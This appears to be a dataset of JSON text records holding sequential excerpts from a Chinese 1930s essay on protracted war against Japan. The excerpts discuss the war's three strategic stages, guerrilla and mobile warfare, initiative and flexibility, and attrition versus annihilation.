    {"text": "所以，在战争的一定阶段上，敌能得到一定程度的胜利，我则将遭到一定程度的失败。 然而敌我都只限于这一定阶段内一定程度上的胜或败，不能超过而至于全胜或全败，这是什么缘故呢？ 因为一则敌强我弱之原来状况就是相对的，不是绝对的；"},
    {"text": "拿原来状况来说，敌虽强，但敌之强已为其他不利的因素所减杀，不过此时还没有减杀到足以破坏敌之优势的必要的程度； 我虽弱，但我之弱已为其他有利的因素所补充，不过此时还没有补充到足以改变我之劣势的必要的程度。"},
    {"text": "双方的强弱优劣原来都不是绝对的，加以战争过程中我之坚持抗战和坚持统一战线的努力，更加变化了敌我原来强弱优劣的形势，因而敌我只限于一定阶段内的一定程度上的胜或败，造成了持久战的局面。"},
    {"text": "战争过程中，只要我能运用正确的军事的和政治的策略，不犯原则的错误，竭尽最善的努力，敌之不利因素和我之有利因素均将随战争之延长而发展，必能继续改变着敌我强弱的原来程度，继续变化着敌我的优劣形势。"},
    {"text": "（三四）目前敌尚能勉强利用其强的因素，我之抗战尚未给他以基本的削弱。 其人力、物力不足的因素尚不足以阻止其进攻，反之，尚足以维持其进攻到一定的程度。 其足以加剧本国阶级对立和中国民族反抗的因素，即战争之退步性和野蛮性一因素，亦尚未造成足以根本妨碍其进攻的情况。 敌人的国际孤立的因素也方在变化发展之中，还没有达到完全的孤立。"},
    {"text": "许多表示助我的国家的军火资本家和战争原料资本家，尚在唯利是图地供给日本以大量的战争物资 〔15〕 ，他们的政府 〔16〕 亦尚不愿和苏联一道用实际方法制裁日本。"},
    {"text": "中国方面，弱的因素表现在军事、经济、政治、文化各方面的，虽在十个月抗战中有了某种程度的进步，但距离足以阻止敌之进攻及准备我之反攻的必要的程度，还远得很。"},
    {"text": "持久战的三个阶段 （三五）中日战争既然是持久战，最后胜利又将是属于中国的，那末，就可以合理地设想，这种持久战，将具体地表现于三个阶段之中。"},
    {"text": "第一个阶段，是敌之战略进攻、我之战略防御的时期。 第二个阶段，是敌之战略保守、我之准备反攻的时期。 第三个阶段，是我之战略反攻、敌之战略退却的时期。 三个阶段的具体情况不能预断，但依目前条件来看，战争趋势中的某些大端是可以指出的。"},
    {"text": "然而给战争趋势描画一个轮廓，却为战略指导所必需。 所以，尽管描画的东西不能尽合将来的事实，而将为事实所校正，但是为着坚定地有目的地进行持久战的战略指导起见，描画轮廓的事仍然是需要的。"},
    {"text": "但是我们的作战计划，应把敌人可能占领三点甚至三点以外之某些部分地区并可能互相联系起来作为一种基础，部署持久战，即令敌如此做，我也有应付之方。"},
    {"text": "敌人方面，士气已开始表现颓靡，敌人陆军进攻的锐气，此阶段的中期已不如初期，末期将更不如初期。 敌之财政和经济已开始表现其竭蹶状态，人民和士兵的厌战情绪已开始发生，战争指导集团的内部已开始表现其“战争的烦闷”，生长着对于战争前途的悲观。"},
    {"text": "第一阶段之末尾，由于敌之兵力不足和我之坚强抵抗，敌人将不得不决定在一定限度上的战略进攻终点，到达此终点以后，即停止其战略进攻，转入保守占领地的阶段。"},
    {"text": "此阶段内，敌之企图是保守占领地，以组织伪政府的欺骗办法据之为己有，而从中国人民身上尽量搜括东西，但是在他的面前又遇着顽强的游击战争。"},
    {"text": "游击战争在第一阶段中乘着敌后空虚将有一个普遍的发展，建立许多根据地，基本上威胁到敌人占领地的保守，因此第二阶段仍将有广大的战争。 此阶段中我之作战形式主要的是游击战，而以运动战辅助之。"},
    {"text": "此时中国尚能保有大量的正规军，不过一方面因敌在其占领的大城市和大道中取战略守势，一方面因中国技术条件一时未能完备，尚难迅即举行战略反攻。"},
    {"text": "除正面防御部队外，我军将大量地转入敌后，比较地分散配置，依托一切敌人未占区域，配合民众武装，向敌人占领地作广泛的和猛烈的游击战争，并尽可能地调动敌人于运动战中消灭之，如同现在山西的榜样。"},
    {"text": "但是游击战争能够胜利，做得好，可能使敌只能保守占领地三分之一左右的区域，三分之二左右仍然是我们的，这就是敌人的大失败，中国的大胜利。"},
    {"text": "这个阶段的时间的长短，依敌我力量增减变化的程度如何及国际形势变动如何而定，大体上我们要准备付给较长的时间，要熬得过这段艰难的路程。"},
    {"text": "此时我们的任务，在于动员全国民众，齐心一致，绝不动摇地坚持战争，把统一战线扩大和巩固起来，排除一切悲观主义和妥协论，提倡艰苦斗争，实行新的战时政策，熬过这一段艰难的路程。 此阶段内，必须号召全国坚决地维持一个统一政府，反对分裂，有计划地增强作战技术，改造军队，动员全民，准备反攻。"},
    {"text": "此阶段中，国际形势将变到更于日本不利，虽可能有张伯伦 〔17〕 一类的迁就所谓“既成事实”的“现实主义”的调头出现，但主要的国际势力将变到进一步地援助中国。"},
    {"text": "广大的游击战争和人民抗日运动将疲惫这一大批日本军，一方面大量地消耗之，又一方面进一步地增长其思乡厌战直至反战的心理，从精神上瓦解这个军队。"},
    {"text": "然而单只自己的力量还是不够的，还须依靠国际力量和敌国内部变化的援助，否则是不能胜利的，因此加重了中国的国际宣传和外交工作的任务。"},
    {"text": "如果说，第一阶段的阵地防御，由于当时的条件，不能看作重要的，那末，第三阶段的阵地攻击，由于条件的改变和任务的需要，将变成颇为重要的。"},
    {"text": "第一种是向下的，表现在：几十万人的伤亡，武器和弹药的消耗，士气的颓靡，国内人心的不满，贸易的缩减，一百万万日元以上的支出，国际舆论的责备等等方面。"},
    {"text": "中国则政治、军事、文化和人民动员将更加进步，游击战争更加发展，经济方面也将依凭内地的小工业和广大的农业而有某种程度的新发展，国际援助将逐渐地增进，将比现在的情况大为改观。"},
    {"text": "在这个时间内，敌我力量对比将发生巨大的相反的变化，中国将逐渐上升，日本则逐渐下降。 那时中国将脱出劣势，日本则脱出优势，先走到平衡的地位，再走到优劣相反的地位。 然后中国大体上将完成战略反攻的准备而走到实行反攻、驱敌出国的阶段。 应该重复地指出：所谓变劣势为优势和完成反攻准备，是包括中国自己力量的增长、日本困难的增长和国际援助的增长在内的，总合这些力量就能形成中国的优势，完成反攻的准备。 （四四）根据中国政治和经济不平衡的状态，第三阶段的战略反攻，在其前一时期将不是全国整齐划一的姿态，而是带地域性的和此起彼落的姿态。 敌人采用各种分化手段破裂中国统一战线的企图，此阶段中并不会减弱，因此，中国内部团结的任务更加重要，务不令内部不调致战略反攻半途而废。"},
    {"text": "（四五）中国由劣势到平衡到优势，日本由优势到平衡到劣势，中国由防御到相持到反攻，日本由进攻到保守到退却——这就是中日战争的过程，中日战争的必然趋势。"},
    {"text": "如果中国人的大多数、日本人的大多数、世界各国人的大多数是站在抗日战争方面的话，那末，日本少数人强制地掌握着的军力和经济力，还能算是优势吗？"},
    {"text": "如果日本的敌人不止中国一个，如果将来有一国或几国以其相当大量的军力和经济力公开地防御或攻击日本，公开地援助我们，那末，优势不更在我们一方面吗？"},
    {"text": "（四九）速胜论者则不知道战争是力量的竞赛，在战争双方的力量对比没有起一定的变化以前，就要举行战略的决战，就想提前到达解放之路，也是没有根据的。"},
    {"text": "具体地说，惟有努力于作战多打胜仗，消耗敌人的军队，努力于发展游击战争，使敌之占领地限制于最小的范围，努力于巩固和扩大统一战线，团结全国力量，努力于建设新军和发展新的军事工业，努力于推动政治、经济和文化的进步，努力于工、农、商、学各界人民的动员，努力于瓦解敌军和争取敌军的士兵，努力于国际宣传争取国际的援助，努力于争取日本的人民及其他被压迫民族的援助，做了这一切，才能缩短战争的时间，此外不能有任何取巧图便的法门。"},
    {"text": "犬牙交错的战争 （五一）我们可以断言，持久战的抗日战争，将在人类战争史中表现为光荣的特殊的一页。 犬牙交错的战争形态，就是颇为特殊的一点，这是由于日本的野蛮和兵力不足，中国的进步和土地广大这些矛盾因素产生出来的。 犬牙交错的战争，在历史上也是有过的，俄国十月革命后的三年内战，就有过这种情形。"},
    {"text": "但是主力军和游击队的关系，则是主力军在内线，游击队在外线，形成夹攻敌人的奇观。 各游击区的关系亦然。 各个游击区都以自己为内线，而以其他各区为外线，又形成了很多夹攻敌人的火线。"},
    {"text": "在战争的第一阶段，战略上内线作战的正规军是后退的，但是战略上外线作战的游击队则将广泛地向着敌人后方大踏步前进，第二阶段将更加猛烈地前进，形成了后退和前进的奇异形态。"},
    {"text": "脱离总后方，而把作战线伸至敌后的，是游击队。 但在每一游击区中，仍自有其小规模的后方，并依以建立非固定的作战线。 和这个区别的，是每一游击区派遣出去向该区敌后临时活动的游击队，他们不但没有后方，也没有作战线。"},
    {"text": "“无后方的作战”，是新时代中领土广大、人民进步、有先进政党和先进军队的情况之下的革命战争的特点，没有可怕而有大利，不应怀疑而应提倡。"},
    {"text": "由于我以数量上优势的兵力，对于从战略上的外线分数路向我前进之敌，采取战役和战斗上的外线作战方针，就可以把各路分进之敌的一路或几路放在我之包围中。"},
    {"text": "但若将各个游击根据地联系起来看，并将各个游击根据地和正规军的阵地也联系起来看，我又把许多敌人都包围起来，例如在山西，我已三面包围了同蒲路（路之东西两侧及南端），四面包围了太原城；"},
    {"text": "这样，敌我各有加于对方的两种包围，大体上好似下围棋一样，敌对于我我对于敌之战役和战斗的作战，好似吃子，敌的据点（例如太原）和我之游击根据地（例如五台山），好似做眼。"},
    {"text": "但是我之包围好似如来佛的手掌，它将化成一座横亘宇宙的五行山，把这几个新式孙悟空——法西斯侵略主义者，最后压倒在山底下，永世也不得翻身 〔19〕 。"},
    {"text": "如果我能在外交上建立太平洋反日阵线，把中国作为一个战略单位，又把苏联及其他可能的国家也各作为一个战略单位，又把日本人民运动也作为一个战略单位，形成一个使法西斯孙悟空无处逃跑的天罗地网，那就是敌人死亡之时了。"},
    {"text": "但是敌占大半中，除东三省等地外，实际只能占领大城市、大道和某些平地，依重要性说是一等的，依面积和人口来说可能只是敌占区中之小半，而普遍地发展的游击区，反居其大半。"},
    {"text": "如果超越本部的范围，而把蒙古、新疆、青海、西藏算了进来，则在面积上中国未失地区仍然是大半，而敌占地区包括东三省在内，也只是小半。"},
    {"text": "（五六）这样看来，长期而又广大的抗日战争，是军事、政治、经济、文化各方面犬牙交错的战争，这是战争史上的奇观，中华民族的壮举，惊天动地的伟业。"},
    {"text": "全中国人都应自觉地投入这个犬牙交错的战争中去，这就是中华民族自求解放的战争形态，是半殖民地大国在二十世纪三十和四十年代举行的解放战争的特殊的形态。"},
    {"text": "目前世界上已有三分之一的人口进入了战争，你们看，一个意大利，又一个日本，一个阿比西尼亚，又一个西班牙，再一个中国。 参加战争的这些国家共有差不多六万万人口，几乎占了全世界总人口的三分之一。"},
    {"text": "这次战争是在第一次世界大战所已开始的世界资本主义总危机发展的基础上发生的，由于这种总危机，逼使各资本主义国家走入新的战争，首先逼使各法西斯国家从事于新战争的冒险。"},
    {"text": "但是由于苏联的存在和世界人民觉悟程度的提高，这次战争中无疑将出现伟大的革命战争，用以反对一切反革命战争，而使这次战争带着为永久和平而战的性质。"},
    {"text": "四亿五千万的中国人占了全人类的四分之一，如果能够一齐努力，打倒了日本帝国主义，创造了自由平等的新中国，对于争取全世界永久和平的贡献，无疑地是非常伟大的。"},
    {"text": "为了这个，我们将依次说明下列的问题：能动性在战争中，战争和政治，抗战的政治动员，战争的目的，防御中的进攻，持久中的速决，内线中的外线，主动性，灵活性，计划性，运动战，游击战，阵地战，歼灭战，消耗战，乘敌之隙的可能性，抗日战争的决战问题，兵民是胜利之本。"},
    {"text": "（六○）我们反对主观地看问题，说的是一个人的思想，不根据和不符合于客观事实，是空想，是假道理，如果照了做去，就要失败，故须反对它。"},
    {"text": "但是一切事情是要人做的，持久战和最后胜利没有人做就不会出现。 做就必须先有人根据客观事实，引出思想、道理、意见，提出计划、方针、政策、战略、战术，方能做得好。 思想等等是主观的东西，做或行动是主观见之于客观的东西，都是人类特殊的能动性。 这种能动性，我们名之曰“自觉的能动性”，是人之所以区别于物的特点。"},
    {"text": "在既定的客观物质的基础之上，抗日战争的指挥员就要发挥他们的威力，提挈全军，去打倒那些民族的敌人，改变我们这个被侵略被压迫的社会国家的状态，造成自由平等的新中国，这里就用得着而且必须用我们的主观指导的能力。 我们不赞成任何一个抗日战争的指挥员，离开客观条件，变为乱撞乱碰的鲁莽家，但是我们必须提倡每个抗日战争的指挥员变为勇敢而明智的将军。"},
    {"text": "抗日战争是全民族的革命战争，它的胜利，离不开战争的政治目的——驱逐日本帝国主义、建立自由平等的新中国，离不开坚持抗战和坚持统一战线的总方针，离不开全国人民的动员，离不开官兵一致、军民一致和瓦解敌军等项政治原则，离不开统一战线政策的良好执行，离不开文化的动员，离不开争取国际力量和敌国人民援助的努力。"},
    {"text": "（六四）但是战争有其特殊性，在这点上说，战争不即等于一般的政治。 “战争是政治的特殊手段的继续” 〔21〕 。 政治发展到一定的阶段，再也不能照旧前进，于是爆发了战争，用以扫除政治道路上的障碍。"},
    {"text": "例如抗日的任务未完，有想求妥协的，必不成功； 因为即使因某种缘故妥协了，但是战争仍要起来，广大人民必定不服，必要继续战争，贯彻战争的政治目的。"},
    {"text": "抗日战争的政治目的是“驱逐日本帝国主义，建立自由平等的新中国”，必须把这个目的告诉一切军民人等，方能造成抗日的热潮，使几万万人齐心一致，贡献一切给战争。"},
    {"text": "现在已经有了《抗日救国十大纲领》 〔22〕 ，又有了一个《抗战建国纲领》 〔23〕 ，应把它们普及于军队和人民，并动员所有的军队和人民实行起来。"},
    {"text": "战争的目的不是别的，就是“保存自己，消灭敌人”（消灭敌人，就是解除敌人的武装，也就是所谓“剥夺敌人的抵抗力”，不是要完全消灭其肉体）。"},
    {"text": "进攻，是消灭敌人的主要手段，但防御也是不能废的。 进攻，是直接为了消灭敌人的，同时也是为了保存自己，因为如不消灭敌人，则自己将被消灭。 防御，是直接为了保存自己的，但同时也是辅助进攻或准备转入进攻的一种手段。 退却，属于防御一类，是防御的继续； 而追击，则是进攻的继续。"},
    {"text": "应该指出：战争目的中，消灭敌人是主要的，保存自己是第二位的，因为只有大量地消灭敌人，才能有效地保存自己。 因此，作为消灭敌人之主要手段的进攻是主要的，而作为消灭敌人之辅助手段和作为保存自己之一种手段的防御，是第二位的。 战争实际中，虽有许多时候以防御为主，而在其余时候以进攻为主，然而通战争的全体来看，进攻仍然是主要的。"},
    {"text": "我们说，基本上为着消灭敌人的进攻手段中，同时也含了保存自己的作用，理由就在这里。 防御必须同时有进攻，而不应是单纯的防御，也是这个道理。"},
    {"text": "（七○）保存自己消灭敌人这个战争的目的，就是战争的本质，就是一切战争行动的根据，从技术行动起，到战略行动止，都是贯彻这个本质的。 战争目的，是战争的基本原则，一切技术的、战术的、战役的、战略的原理原则，一点也离不开它。"},
    {"text": "战术上的突击队、钳制队、预备队，第一种为了消灭敌人，第二种为了保存自己，第三种准备依情况使用于两个目的——或者增援突击队，或者作为追击队，都是为了消灭敌人；"},
    {"text": "照这样，一切技术、战术、战役、战略原则，一切技术、战术、战役、战略行动，一点也离不开战争的目的，它普及于战争的全体，贯彻于战争的始终。"},
    {"text": "我们的答复是：在第一和第二阶段即敌之进攻和保守阶段中，应该是战略防御中的战役和战斗的进攻战，战略持久中的战役和战斗的速决战，战略内线中的战役和战斗的外线作战。"},
    {"text": "日本用其战斗力颇强的几十个师团的陆军（目前已到了三十个师团）和一部分海军，从陆海两面包围和封锁中国，又用空军轰炸中国。 目前日本的陆军已占领从包头到杭州的长阵线，海军则到了福建广东，形成了大范围的外线作战。"},
    {"text": "在全国，即使敌能占领广州、武汉、兰州之线及其附近的地区，但以外的地区是难于占领的，这就给了中国以进行持久战和争取最后胜利的总后方和中枢根据地。"},
    {"text": "然而我可以利用地广和兵多两个长处，不作死守的阵地战，采用灵活的运动战，以几个师对他一个师，几万人对他一万人，几路对他一路，从战场的外线，突然包围其一路而攻击之。"},
    {"text": "于是敌之战略作战上的外线和进攻，在战役和战斗的作战上，就不得不变成内线和防御。 我之战略作战上的内线和防御，在战役和战斗的作战上就变成了外线和进攻。"},
    {"text": "又由于敌兵虽少，乃是强兵（武器和人员的教养程度），我兵虽多，乃是弱兵（也仅是武器和人员的教养程度，不是士气），因此，在战役和战斗的作战上，我不但应以多兵打少兵，从外线打内线，还须采取速决战的方针。"},
    {"text": "为了实行速决，一般应不打驻止中之敌，而打运动中之敌。 我预将大兵荫蔽集结于敌必经通路之侧，乘敌运动之际，突然前进，包围而攻击之，打他一个措手不及，迅速解决战斗。"},
    {"text": "如果战役和战斗方针也同样是“内线的持久的防御战”，例如抗战初起时期之所为，那就完全不适合敌小我大、敌强我弱这两种情况，那就决然达不到战略目的，达不到总的持久战，而将为敌人所击败。"},
    {"text": "所以，我们历来主张全国组成若干个大的野战兵团，其兵力针对着敌人每个野战兵团之兵力而二倍之、三倍之或四倍之，采用上述方针，与敌周旋于广大战场之上。"},
    {"text": "（七六）如果我们坚决地采取了战场作战的“外线的速决的进攻战”，就不但在战场上改变着敌我之间的强弱优劣形势，而且将逐渐地变化着总的形势。"},
    {"text": "于是在敌人方面，强者就变成了弱者，优势就变成了劣势； 我军方面反之，弱者变成了强者，劣势变成了优势。 在打了许多这样的胜仗之后，总的敌我形势便将引起变化。 这就是说，集合了许多战场作战的外线的速决的进攻战的胜利以后，就逐渐地增强了自己，削弱了敌人，于是总的强弱优劣形势，就不能不受其影响而发生变化。 到那时，配合着我们自己的其他条件，再配合着敌人内部的变动和国际上的有利形势，就能使敌我总的形势走到平衡，再由平衡走到我优敌劣。"},
    {"text": "主动性，灵活性，计划性 （七八）上面说过的战役和战斗的外线的速决的进攻战，中心点在于一个进攻； 外线是说的进攻的范围，速决是说的进攻的时间，所以叫它做“外线的速决的进攻战”。"},
    {"text": "（七九）前面已说过了自觉的能动性，为什么又说主动性呢？ 自觉的能动性，说的是自觉的活动和努力，是人之所以区别于物的特点，这种人的特点，特别强烈地表现于战争中，这些是前面说过了的。 这里说的主动性，说的是军队行动的自由权，是用以区别于被迫处于不自由状态的。"},
    {"text": "我们提出的外线的速决的进攻战，以及为了实现这种进攻战的灵活性、计划性，可以说都是为了争取主动权，以便逼敌处于被动地位，达到保存自己消灭敌人之目的。"},
    {"text": "（八○）主动是和战争力量的优势不能分离的，而被动则和战争力量的劣势分不开。 战争力量的优势或劣势，是主动或被动的客观基础。 战略的主动地位，自然以战略的进攻战为较能掌握和发挥，然而贯彻始终和普及各地的主动地位，即绝对的主动权，只有以绝对优势对绝对劣势才有可能。"},
    {"text": "如果日本没有许多不可克服的矛盾，例如它能一下出几百万至一千万大兵，财源比现在多过几倍，又没有民众和外国的敌对，又不实行野蛮政策招致中国人民拚死命反抗，那它便能保持一种绝对的优势，它便有一种贯彻始终和普及各地的绝对的主动权。"},
    {"text": "例如在第一次世界大战中，德国屈服的前夜，这时协约国变成了绝对优势，德国则变成了绝对劣势，结果德国失败，协约国获胜，这是战争结局存在着绝对的优势和劣势之例。 又如台儿庄胜利的前夜，这时当地孤立的日军经过苦战之后，已处于绝对的劣势，我军则造成了绝对的优势，结果敌败我胜，这是战役结局存在着绝对的优势和劣势之例。 战争或战役也有以相对的优劣或平衡状态而结局的，那时，在战争则出现妥协，在战役则出现对峙。"},
    {"text": "日本因其具有强的军力、经济力和政治组织力这个有利因素，对于我们弱的军力、经济力和政治组织力，占了优势，因而造成了它的主动权的基础。"},
    {"text": "中国方面，虽然在力量的强度上是劣势，因此造成了战略上的某种被动姿态，但是在地理、人口和兵员的数量上，并且又在人民和军队的敌忾心和士气上，却处于优势，这种优势再加上其他的有利因素，便减杀了自己军力、经济力等的劣势的程度，使之变为战略上的相对的劣势。"},
    {"text": "军事上的办法，就是坚决地实行外线的速决的进攻战和发动敌后的游击战争，在战役的运动战和游击战中取得许多局部的压倒敌人的优势和主动地位。 通过这样许多战役的局部优势和局部主动地位，就能逐渐地造成战略的优势和战略的主动地位，战略的劣势和被动地位就能脱出了。"},
    {"text": "如上所述，我之相对的战略劣势和战略被动地位，是能够脱出的，方法就是人工地造成我们许多的局部优势和局部主动地位，去剥夺敌人的许多局部优势和局部主动地位，把他抛入劣势和被动。 把这些局部的东西集合起来，就成了我们的战略优势和战略主动，敌人的战略劣势和战略被动。"},
    {"text": "然而不管怎样的战争情况和战争行动，知其大略，知其要点，是可能的。 先之以各种侦察手段，继之以指挥员的聪明的推论和判断，减少错误，实现一般的正确指导，是做得到的。 我们有了这个“一般地正确的指导”做武器，就能多打胜仗，就能变劣势为优势，变被动为主动。"},
    {"text": "这是主动或被动和主观指导的正确与否之间的关系。 （八二）主观指导的正确与否，影响到优势劣势和主动被动的变化，观于强大之军打败仗、弱小之军打胜仗的历史事实而益信。"},
    {"text": "中国如晋楚城濮之战 〔25〕 ，楚汉成皋之战 〔26〕 ，韩信破赵之战 〔27〕 ，新汉昆阳之战 〔28〕 ，袁曹官渡之战 〔29〕 ，吴魏赤壁之战 〔30〕 ，吴蜀彝陵之战 〔31〕 ，秦晋淝水之战 〔32〕 等等，外国如拿破仑的多数战役 〔33〕 ，十月革命后的苏联内战，都是以少击众，以劣势对优势而获胜。 都是先以自己局部的优势和主动，向着敌人局部的劣势和被动，一战而胜，再及其余，各个击破，全局因而转成了优势，转成了主动。"},
    {"text": "由此可知，战争力量的优劣本身，固然是决定主动或被动的客观基础，但还不是主动或被动的现实事物，必待经过斗争，经过主观能力的竞赛，方才出现事实上的主动或被动。 在斗争中，由于主观指导的正确或错误，可以化劣势为优势，化被动为主动； 也可以化优势为劣势，化主动为被动。"},
    {"text": "懂得这一点，劣势而有准备之军，常可对敌举行不意的攻势，把优势者打败。 我们说运动之敌好打，就是因为敌在不意即无准备中。 这两件事——造成敌人的错觉和出以不意的攻击，即是以战争的不确实性给予敌人，而给自己以尽可能大的确实性，用以争取我之优势和主动，争取我之胜利。"},
    {"text": "因此，发动所有一切反对敌人的老百姓，一律武装起来，对敌进行广泛的袭击，同时即用以封锁消息，掩护我军，使敌无从知道我军将在什么地方什么时候去攻击他，造成他的错觉和不意的客观基础，是非常之重要的。"},
    {"text": "我们要把敌人的眼睛和耳朵尽可能地封住，使他们变成瞎子和聋子，要把他们的指挥员的心尽可能地弄得混乱些，使他们变成疯子，用以争取自己的胜利。"},
    {"text": "但是这种主动，已随其本身带着许多不利因素及其在战争中也犯了些主观错误（详论见后），与乎我方具备着许多有利因素，而开始了部分的减弱。"},
    {"text": "敌之兵力不足，没有可能作无限制的进攻，这是他不能继续保持主动地位的第一个根源。 我之战役的进攻战，在敌后的游击战争及其他条件，这是他不能不停止进攻于一定限度和不能继续保持主动地位的第二个根源。"},
    {"text": "中国如能在作战方法上坚持主力军的战役和战斗的进攻战，猛烈地发展敌后的游击战争，并从政治上大大地发动民众，我之战略主动地位便能逐渐树立起来。"},
    {"text": "做这件事需要极大的主观能力，需要克服战争特性中的纷乱、黑暗和不确实性，而从其中找出条理、光明和确实性来，方能实现指挥上的灵活性。"},
    {"text": "攻击变为防御，防御变为攻击，前进变为后退，后退变为前进，钳制队变为突击队，突击队变为钳制队，以及包围迂回等等之互相变换，依据敌我部队、敌我地形的情况，及时地恰当地给以变换，是灵活性的指挥之重要任务。"},
    {"text": "灵活，是聪明的指挥员，基于客观情况，“审时度势”（这个势，包括敌势、我势、地势等项）而采取及时的和恰当的处置方法的一种才能，即是所谓“运用之妙”。"},
    {"text": "基于这种运用之妙，外线的速决的进攻战就能较多地取得胜利，就能转变敌我优劣形势，就能实现我对于敌的主动权，就能压倒敌人而击破之，而最后胜利就属于我们了。"},
    {"text": "但由于战争只有程度颇低和时间颇暂的确实性，战争的计划性就很难完全和固定，它随战争的运动（或流动，或推移）而运动，且依战争范围的大小而有程度的不同。"},
    {"text": "战役计划，即大兵团的行动计划，大体能终战役之局，但在该战役内，部分的改变是常有的，全部的改变也间或有之。 战略计划，是基于战争双方总的情况而来的，有更大的固定的程度，但也只在一定的战略阶段内适用，战争向着新的阶段推移，战略计划便须改变。 战术、战役和战略计划之各依其范围和情况而确定而改变，是战争指挥的重要关节，也即是战争灵活性的具体的实施，也即是实际的运用之妙。"},
    {"text": "如上条所述，我们完全承认：由于战争情况之只有相对的确实性和战争是迅速地向前流动的（或运动的，推移的），战争的计划或方针，也只应给以相对的固定性，必须根据情况的变化和战争的流动而适时地加以更换或修改，不这样做，我们就变成机械主义者。"},
    {"text": "由于战争的情况和行动都有其相对的固定性，因而应之而生的战争计划或方针，也就必须拿相对的固定性赋予它。 例如，由于华北战争的情况和八路军分散作战的行动有其在一定阶段内的固定性，因而在这一定阶段内赋予相对的固定性于八路军的“基本的是游击战，但不放松有利条件下的运动战”这种战略的作战方针，是完全必要的。 战役方针，较之上述战略方针适用的时间要短促些，战术方针更加短促，然而都有其一定时间的固定性。"},
    {"text": "然而这种流动是有限制的，即流动于执行这一方针的各种不同的战争行动的范围中，而不是这一方针的根本性质的流动，即是说，是数的流动，不是质的流动。"},
    {"text": "（九○）在说过了战略上的内线的持久的防御战和战役战斗上的外线的速决的进攻战，又说过了主动性、灵活性和计划性之后，我们可以总起来说几句。"},
    {"text": "运动战，游击战，阵地战 （九一）作为战争内容的战略内线、战略持久、战略防御中的战役和战斗上的外线的速决的进攻战，在战争形式上就表现为运动战。 运动战，就是正规兵团在长的战线和大的战区上面，从事于战役和战斗上的外线的速决的进攻战的形式。 同时，也把为了便利于执行这种进攻战而在某些必要时机执行着的所谓“运动性的防御”包括在内，并且也把起辅助作用的阵地攻击和阵地防御包括在内。"},
    {"text": "我们主张以战役和战斗上的外线的速决的进攻战为内容的运动战，其中包括了辅助作用的阵地战，又包括了“运动性的防御”和退却，没有这些，运动战便不能充分地执行。"},
    {"text": "积极方面，为了陷敌于不利而利于我之作战，常常要求敌人在运动中，并要求有利于我之许多条件，例如有利的地形、好打的敌情、能封锁消息的居民、敌人的疲劳和不意等。"},
    {"text": "（九五）抗日战争的作战形式中，主要的是运动战，其次就要算游击战了。 我们说，整个战争中，运动战是主要的，游击战是辅助的，说的是解决战争的命运，主要是依靠正规战，尤其是其中的运动战，游击战不能担负这种解决战争命运的主要的责任。 但这不是说：游击战在抗日战争中的战略地位不重要。 游击战在整个抗日战争中的战略地位，仅仅次于运动战，因为没有游击战的辅助，也就不能战胜敌人。 这样说，是包括了游击战向运动战发展这一个战略任务在内的。 长期的残酷的战争中间，游击战不停止于原来地位，它将把自己提高到运动战。 这样，游击战的战略作用就有两方面：一是辅助正规战，一是把自己也变为正规战。 至于就游击战在中国抗日战争中的空前广大和空前持久的意义说来，它的战略地位是更加不能轻视的了。 因此，在中国，游击战的本身，不只有战术问题，还有它的特殊的战略问题。 这个问题，我在《抗日游击战争的战略问题》一文里面已经说到了。 前面说过，抗日战争三个战略阶段的作战形式，第一阶段，运动战是主要的，游击战和阵地战是辅助的。 第二阶段，则游击战将升到主要地位，而以运动战和阵地战辅助之。 第三阶段，运动战再升为主要形式，而辅之以阵地战和游击战。 但这个第三阶段的运动战，已不全是由原来的正规军负担，而将由原来的游击军从游击战提高到运动战去担负其一部分，也许是相当重要的一部分。 从三个阶段来看，中国抗日战争中的游击战，决不是可有可无的。"},
    {"text": "游击战争没有正规战争那样迅速的成效和显赫的名声，但是“路遥知马力，事久见人心”，在长期和残酷的战争中，游击战争将表现其很大的威力，实在是非同小可的事业。"},
    {"text": "并且正规军分散作游击战，集合起来又可作运动战，八路军就是这样做的。 八路军的方针是：“基本的是游击战，但不放松有利条件下的运动战。"},
    {"text": "然而在战争的第一第二两阶段中，包括于运动战范围，而在战役作战上起其辅助作用的局部的阵地战，是可能的和必要的。 为着节节抵抗以求消耗敌人和争取余裕时间之目的，而采取半阵地性的所谓“运动性的防御”，更是属于运动战的必要部分。"},
    {"text": "消耗战，歼灭战 （九七）前头说过，战争本质即战争目的，是保存自己，消灭敌人。 然而达此目的的战争形式，有运动战、阵地战、游击战三种，实现时的效果就有程度的不同，因而一般地有所谓消耗战和歼灭战之别。 （九八）我们首先可以说，抗日战争是消耗战，同时又是歼灭战。"},
    {"text": "敌之强的因素尚在发挥，战略上的优势和主动依然存在，没有战役和战斗的歼灭战，就不能有效地迅速地减杀其强的因素，破坏其优势和主动。 我之弱的因素也依然存在，战略上的劣势和被动还未脱离，为了争取时间，加强国内国际条件，改变自己的不利状态，没有战役和战斗的歼灭战，也不能成功。 因此，战役的歼灭战是达到战略的消耗战之目的的手段。 在这点上说，歼灭战就是消耗战。 中国之能够进行持久战，用歼灭达到消耗是主要的手段。 （九九）但达到战略消耗目的的，还有战役的消耗战。 大抵运动战是执行歼灭任务的，阵地战是执行消耗任务的，游击战是执行消耗任务同时又执行歼灭任务的，三者互有区别。 在这点上说，歼灭战不同于消耗战。 战役的消耗战，是辅助的，但也是持久作战所需要的。 （一○○）从理论上和需要上说来，中国在防御阶段中，应该利用运动战之主要的歼灭性，游击战之部分的歼灭性，加上辅助性质的阵地战之主要的消耗性和游击战之部分的消耗性，用以达到大量消耗敌人的战略目的。 在相持阶段中，继续利用游击战和运动战的歼灭性和消耗性，再行大量地消耗敌人。"},
    {"text": "虽然应该承认这种情况的客观原因，即敌我技术和兵员教养程度的不同，然而在理论上和实际上，无论如何也应该提倡主力军在一切有利场合努力地执行歼灭战。"},
    {"text": "游击队虽然为了执行许多具体任务，例如破坏和扰乱等，不能不进行单纯的消耗战，然而仍须提倡并努力实行在战役和战斗之一切有利场合的歼灭性的作战，以达既能大量消耗敌人又能大量补充自己之目的。 （一○二）外线的速决的进攻战之所谓外线，所谓速决，所谓进攻，与乎运动战之所谓运动，在战斗形式上，主要地就是采用包围和迂回战术，因而便须集中优势兵力。 所以，集中兵力，采用包围迂回战术，是实施运动战即外线的速决的进攻战之必要条件。"},
    {"text": "（一○三）日本军队的长处，不但在其武器，还在其官兵的教养——其组织性，其因过去没有打过败仗而形成的自信心，其对天皇和对鬼神的迷信，其骄慢自尊，其对中国人的轻视等等特点；"},
